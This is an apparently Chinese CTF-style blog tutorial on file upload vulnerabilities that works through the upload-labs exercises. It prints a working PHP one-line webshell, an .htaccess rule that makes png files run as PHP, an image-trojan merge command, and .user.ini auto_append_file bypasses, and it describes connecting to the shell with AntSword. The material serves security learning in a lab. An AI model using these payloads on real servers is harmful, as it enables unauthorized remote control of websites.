WEB入门——文件上传漏洞

已于 2023-06-04 11:53:13 修改
阅读量4.4k 收藏 50
点赞数 9
分类专栏： CTF入门 文章标签： 前端 php 服务器
于 2023-06-04 11:48:07 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/hasntstartisover/article/details/130910722
版权

文件上传漏洞

一、文件上传漏洞

文件上传漏洞服务端代码未对客户端上传的文件进行严格的验证，导致漏洞。非法用户可以利用上传的恶意文件控制整个网站，这个恶意文件被称为 WebShell ，也可以称为一种网页后门。

1.1常见的WebShell有哪些？

  • 拥有较完整功能的webshell，我们一般称为大马。
  • 功能简易的webshell称为小马。
  • 除此之外还存在一句话木马、菜刀马、脱库马等等的名词，是对于webShell功能或者特性的简称。

1.2 一句话木马演示

<?php eval(%_POST['data']);?> #一句话源代码
  • 将上面代码保持为hello.php并将他放在下面目录中：
    在这里插入图片描述
  • 使用WebShell管理工具，创建连接并连接它：
    在这里插入图片描述
  • 连接成功后就可以查看服务器目录了。
    在这里插入图片描述

1.2 文件上传漏洞可以利用需满足三个条件

  1. 文件可上传
  2. 上传文件可已被web容器解释执行
  3. .上传路径可知

1.3 文件上传导致的危害

1、上传的文件是web脚本语言，服务器的web容器解释并执行了用户上传的脚本，脚本语言执行。
2、上传文件是Flash的策略文件crossdomain.xml，黑客用以
控制Flash在该域下的行为（其他通过类似方式控制策略文件的情况类似）。 3、上传文件是病毒、木马文件，黑客用以诱骗用户或者管理员下载执行。
4、上传文件是钓鱼图片或者包含了脚本的图片，在某些版本的浏览器中会被作为脚本执行，被用于钓鱼和欺诈。
5、上传文件作为一个入口，溢出服务器的后台处理程序，如图片解析模块。
6、上传一个合法的文本文件，但是其内容是php脚本，通过文件包含使这个文本文件以脚本格式执行。可查看服务器目录，服务器中的文件，执行系统命令、代码等。

二、常用工具

2.1 搭建upload-labs环境

下载：https://github.com/c0ny1/upload-labs

2.2 工具准备

  • 中国蚁剑（AntSword）
  • 哥斯拉

三、文件上传绕过

3.1 客户端绕过

如果客户端JS脚本有加限制（例如上传图片，JS脚本显示了只能上传图片格式，不能上传.php后缀的文件）。

3.1.1 实战练习 ：upload-labs/Pass-01/

  • 上传文件源码：

    <?php eval(%_POST['data']);?>

    在这里插入图片描述

  • 直接上传一个一句话木马文件，弹窗提示：该文件不允许上传，请上传.jpg|.png|.gif类型的文件,当前文件类型为：.pHp

  • 查看源码：知道只是在客户端用JS做了过滤限制。

    <script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传，请上传" + allow_ext + "类型的文件,当前文件类型为：" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

  • 解决办法：

    • 先将一句话木马文件hello.php修改后缀变成hello.png.。
    • 使用BurpSuite工具拦截上传请求。
    • 将请求里面的hello.png修改成hello.php，然后放行请求。
      在这里插入图片描述

  • 最后上传成功后回显，并可以查看到上传文件的地址。最后使用AntSword工具创建连接，就可以直接访问服务器。
    在这里插入图片描述

3.2 服务器端文件类型检查

服务器在后台对上传文件的Content-Type进行了检查。发现如果不是运行上传范围内的content-Type类型就拒绝上传。

3.2.1 实战练习 :upload-labs/Pass-02/

  • 绕过步骤：
    • 上传hello.php，使用BurpSuite拦截请求。
    • 将请求里面的Content-Type内容进行修改，如image/png、image/jpeg等等。 然后放行
      在这里插入图片描述

3.3 文件后缀绕过

一些WAF对文件后缀进行了限制。

3.3.1 只限制了少量后缀情况

如果.php后缀被限制，可以尝试：.php3、php4、.PHp（修改大小写）、.phtml、.pht等后缀，WebShell的内容一样。
其中.phtml、.pht后缀的内容可以写成这样：

<script language="php"> eval($_POST['data']);</script>

3.3.2 实战练习 :upload-labs/Pass-03/

  • 上传hello.php或hello.pHp提示是不允许上传的类型
    在这里插入图片描述
  • 修改后缀为**.php3**，则上传成功。最后可以使用Antsword这类工具进行连接，登录到服务器端。
    在这里插入图片描述
  • 题目的PHP代码如下：
    在这里插入图片描述

3.3.3 大量的文件后缀被限制

  • 除了限制 ‘.asp’,‘.aspx’,‘.php’,‘.jsp’ 以外 .php3、php4、.PHp（修改大小写）、.phtml、.pht等后缀 也都被限制列。
  • 这个时候如果是apache服务器，可以尝试上传 .htaccess后缀文件。文件内容为：
    <FilesMatch "png">
setHandler appliaction/x-httpd-php
</FileMatch>
  • 该文件上传后，所在目录中名字包含png的文件将会被当做php代码解析。

3.3.4 实战练习 :upload-labs/Pass-04/

  • 题目源码：

    $is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

  • 通过源码可以知道后台过滤大量的后缀名。

    • 将WebShell文件修改成后缀为 .png。
    • 上传 .htaccess 文件。

  • 上传WebShell文件成功后，将文件地址保存，方便后续AntSword连接。
    在这里插入图片描述

  • 上传 .htaccess 文件

  • 使用AntSword通过WebShell路径连接。
    在这里插入图片描述

3.4 图片马绕过

服务器在后台使用函数来判断上传的文件内容是否为图片。所以如果是WebShell文件仅仅是修改了后缀，可能会被pass掉。所以，我们上传的内容必须得有真实的图片内容。

  • 题目源码：使用getimagesize函数对上传文件的内容进行判断。

    function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

  • 解决办法：

    • 将一张正常的图片与WebShell文件合并成一张图片。
    • 使用CMD的copy /b命令进行合并。
      D:\文件上传>copy /b hi.png+hello.php hi_hello.png
hi.png
hello.pHp
已复制         1 个文件。

在这里插入图片描述

3.4.1 实战练习 :upload-labs/Pass-14/

  • 上传WebShell文件，并把后缀改成 .png 但是内容还是一句话木马，上传失败。
    在这里插入图片描述
  • 上传刚刚合成的hi_hello.png。提示上传成功，并回显了图片。
    在这里插入图片描述
  • 这里上传了图片马，但是服务器过滤了.htaccess文件的上传，为了测试图片马的正常运行，留了文件包含漏洞。利用该漏洞可以查看到图片马正常运行。
    在这里插入图片描述
    在这里插入图片描述

3.5 .user.ini 绕过

自 PHP 5.3.0 起，PHP支持基于每个目录的INI文件配置（ .user.ini ）。此类文件仅被 CGI／FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache，则用 .htaccess 文件有同样效果。

  • 用法：
    .user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是：我们指定一个文件，那么该文件就会被包含在要执行的php文件中（如index.php）。这两个设置的区别:

    • auto_prepend_file是在文件前插入。
    • auto_append_file在文件最后插入。

  • 语法：`

    auto_append_file=hello.png
or
auto_prepend_file=hello.png

3.5.1 练习

因为upload-labs默认配置是apache+php 不是CGI/FastCGI方式，所以用phpstudy自己搭建一个简单练习环境。

  • 在根目录下创建upload文件夹，并在文件夹中添加hello.php和.user.ini、hello.png（hello.png内容为一句话木马）。

  • hello.php 内容：

    <?php echo "hello";?>

  • user.ini 内容：

    auto_append_file=hello.png

  • 使用AntSword工具连接测试成功，可以入侵服务器。
    在这里插入图片描述

3.5.2 当服务器对.user.ini内容检测时

  • 在 .user.ini 前面添加以下内容：

    GIF89
auto_append_file=hello.png

  • 或者

    #define width 100
#define heigh 100
auto_append_file=hello.png

continue…

HasntStartIsOver
关注
  • 9
    点赞
  • 踩
  • 50
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
web网站文件上传漏洞和攻击-运维安全详细笔记
06-30
web网站文件上传漏洞和攻击-运维安全详细笔记
文件上传漏洞原理.md
05-07
适合刚入门web安全的小白
文件上传漏洞及防御
最新发布
2301_76717406的博客
03-22 1541
文件上传漏洞是指网站或应用程序中存在的一种安全漏洞，攻击者可以利用该漏洞向服务器上传恶意文件。通过文件上传漏洞，攻击者可以上传包含恶意代码的文件，如Web shell、恶意脚本、恶意软件等，从而获取服务器的控制权或执行恶意操作。这可能导致服务器被入侵、敏感数据泄露、服务拒绝等安全问题。通常，攻击者利用文件上传漏洞来执行远程代码，控制服务器或网站，进而实施更广泛的攻击。
文件上传的多种利用方式
tomyyyyy
03-22 2232
文件上传的多种利用方式 文件上传漏洞除了可以通过绕过检测进行webshell的上传之外，还有多种其它的漏洞可以进行测试。 XSS漏洞 文件名造成的XSS 当上传任何文件时，文件名肯定是会反显示在网页上，可以使用 XSS Payload做文件名尝试将其上传到 Web 应用程序。这样就可能会触发XSS。 抓包修改文件名为如下所示的名字 <img src=x onerror=alert(1)&g...
【网络安全之文件上传漏洞详解】
Flipped_Move的博客
01-15 1413
我自认为文件上传漏洞特点是多且杂，不像SQL注入那样成体系只要一步步往下走就行。以上文章只是对文件上传漏洞重点部分原理做了介绍与复现，此外还有大小写绕过、双写绕过，将php解析为php5等绕过方式前文中并没有提。就是说针对不同的过滤规则有不同的绕过方式，掌握原理后灵活应对即可。针对中间件的解析漏洞除了apache和IIS外还有Nginx。因为需要docker环境，笔者比较懒，并且网上有很多中间件所爆出来的漏洞的详细利用过程，因此对中间件没有过多介绍与复现。
文件上传漏洞详解
热门推荐
剁椒鱼头没剁椒的博客
11-28 1万+
文件上传漏洞是web系统中常见的一种功能，通过文件上传能实现上传图片、视频，以及其他类型的文件，但是随着web中包含的功能越来越多，潜在的网络安全风险也就越大。如果恶意用户上传了可执行的文件或者脚本，就会导致网站被其控制甚至会使其服务器沦陷，以至于引发恶意的网络安全事件。编辑器也就是在线的web编辑器，比如在搭建博客后需要发布文章，那么用来发布文章的界面就是web编辑器。
文件上传漏洞（全网最详细）
qq_61553520的博客
04-19 9869
自从学完文件上传后，寻思总结一下，但一直懒惰向后推迟，最近要准备面试了，就趁此机会写一下。文件上传漏洞是指用户上传了一个可执行的脚本文件，并通过此脚本文件获得了执行服务器端命令的能力。“文件上传” 本身没有问题，有问题的是文件上传后，服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全，则会导致严重的后果。这种攻击方式是最为直接和有效的，所以我们需要思考的是如何绕过检测和过滤。
1-Web安全——文件上传漏洞
网络安全
08-20 4156
1. 上传文件漏洞原理 现在大部分web应用程序都有上传文件的功能，例如个人博客上传各种文件和图片，招聘网站上传doc文件格式的简历等等。只要web应用程序有上传文件的功能，就可能会存在上传文件漏洞。 为什么会有上传文件漏洞？ 一般用户在上传文件时，如果web应用程序的代码没有对上传的文件进行严格的校验和过滤时，容易出现允许上传任意文件的情况，然后恶意攻击者利用这一点上传恶意脚本文件（aspx，php，jsp等文件）到服务器，从而获取网站的管理员权限，对服务器造成巨大威胁，这个恶意文件则被称为webs
Web安全—文件上传（解析）漏洞
zhdf160916的博客
11-21 5528
教学目标 理解文件上传漏洞原理 掌握几种文件上传绕过方法 一、文件上传漏洞介绍 文件上传：文件上传是现代互联网常见的功能，允许用户上传图片、视频、及其他类型文件，向用户提供的功能越多，web受攻击的风险就越大。 1、文件上传漏洞 上传文件时，如果未对上传的文件进行严格的验证和过滤，就容易造成文件上传漏洞，上传脚本文件（asp、aspx、php、jsp等） 注：asp，aspx对应iis解析 php对应apache解析 jsp对应java（tomcat） 恶意上传行为可能导致网站甚至整个服务器被控制。恶
NetCore 3.0文件上传和大文件上传的限制详解
01-02
NetCore文件上传两种方式 　　NetCore官方给出的两种文件上传方式分别为“缓冲”、“流式”。我简单的说说两种的区别， 　　1.缓冲：通过模型绑定先把整个文件保存到内存，然后我们通过IFormFile得到stream，优点是效率高，缺点对内存要求大。文件不宜过大。 　　2.流式处理：直接读取请求体装载后的Section 对应的stream 直接操作strem即可。无需把整个请求体读入内存， 以下为官方微软说法 缓冲 　　整个文件读入 IFormFile，它是文件的 C# 表示形式，用于处理或保存文件。 文件上传所用的资源（磁盘、内存）取决于并发文件上传的数量和大小。 如果应用尝试
web前端基础——CSS入门
01-20
web前端基础——CSS入门 1.css的引入方式 内部样式： 直接在style里面写 内联样式： 外部样式表 2.css选择器 id选择器： #id名{} Hello World! #para1 { text-align:center; color:red; } ID属性不要以数字开头，数字开头的ID在 Mozilla/Firefox 浏览器中不起作用。 class选择器 .class名{} 这个标题不受影响 这个段落居中对齐。 p.center { text-align:center; } 类名的第一个字符不能使用数字！它无法在 Mozilla 或 Fi
thinkjs 文件上传功能实例代码
10-19
ThinkJS 是一款面向未来开发的 Node.js 框架，整合了大量的项目最佳实践，让企业级开发变得如此简单、高效。接下来通过本文给大家分享thinkjs 文件上传功能，需要的朋友参考下吧
JSP 文件上传
01-20
JSP 文件上传 JSP 可以与 HTML form 标签一起使用，来允许用户上传文件到服务器。上传的文件可以是文本文件或图像文件或任何文档。 本章节我们使用 Servlet 来处理文件上传，使用到的文件有： upload.jsp : 文件上传表单。 message.jsp : 上传成功后跳转页面。 UploadServlet.java : 上传处理 Servlet。 需要引入的 jar 文件：commons-fileupload-1.3.2、commons-io-2.5.jar。 结构图如下所示： 接下来我们详细介绍。 创建一个文件上传表单 下面的 HTML 代码创建了一个文件上传表单
web-渗透-文件上传漏洞专题靶场.rar
03-14
本靶场为二十一个关于文件上传漏洞的环境，从前端绕过、服务器绕过、木马图上传绕过、截断绕过、竞争条件等等几乎包含目前所有的文件上传漏洞类型，刷完即掌握文件上传漏洞的所有要点。 文件中打包了所需的所有环境...
Web编程入门——字节跳动.pptx
08-24
Web编程入门——字节跳动.pptx
Web入门项目源码分享——记账本
03-27
分享一个适合入门的Web项目--记账本，这个是女朋友某天一句话，说给她写一个简单的记账本。 编程语言：Java+Jsp+html。 适合人群：想入门学习Web项目。 能学到什么：JSP+Servlet模式，servlet层中有方法，实现和...
文件上传的三种方式-Java
u013733643的博客
11-30 7478
三种方式上传文件-Java
web CTF 文件上传漏洞
04-05
文件上传漏洞是一种常见的Web漏洞，攻击者可以利用该漏洞向目标服务器上传恶意文件，从而实现对目标服务器的控制。以下是一些常见的文件上传漏洞： 1. 检查不严格：目标服务器对上传的文件类型、大小、后缀等没有进行严格的检查，攻击者可以上传任意类型、任意大小的文件。 2. 文件类型绕过：攻击者可以修改文件后缀，将可执行文件的后缀改为图片、文本等格式，绕过服务器的文件类型检查。 3. 文件名绕过：攻击者可以在文件名中加入特殊字符、空格等，绕过服务器的文件名过滤。 4. 文件解析漏洞：目标服务器对上传的文件进行解析时存在漏洞，攻击者可以上传包含恶意代码的文件，从而实现对服务器的攻击。 防范措施： 1. 对上传的文件进行严格的类型、大小、后缀等检查，拒绝非法文件的上传。 2. 对文件类型进行彻底的验证，避免文件类型绕过漏洞。 3. 对文件名进行过滤，避免文件名绕过漏洞。 4. 对上传的文件进行严格的解析，避免文件解析漏洞。 5. 对上传的文件进行隔离，避免恶意文件对服务器造成危害。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值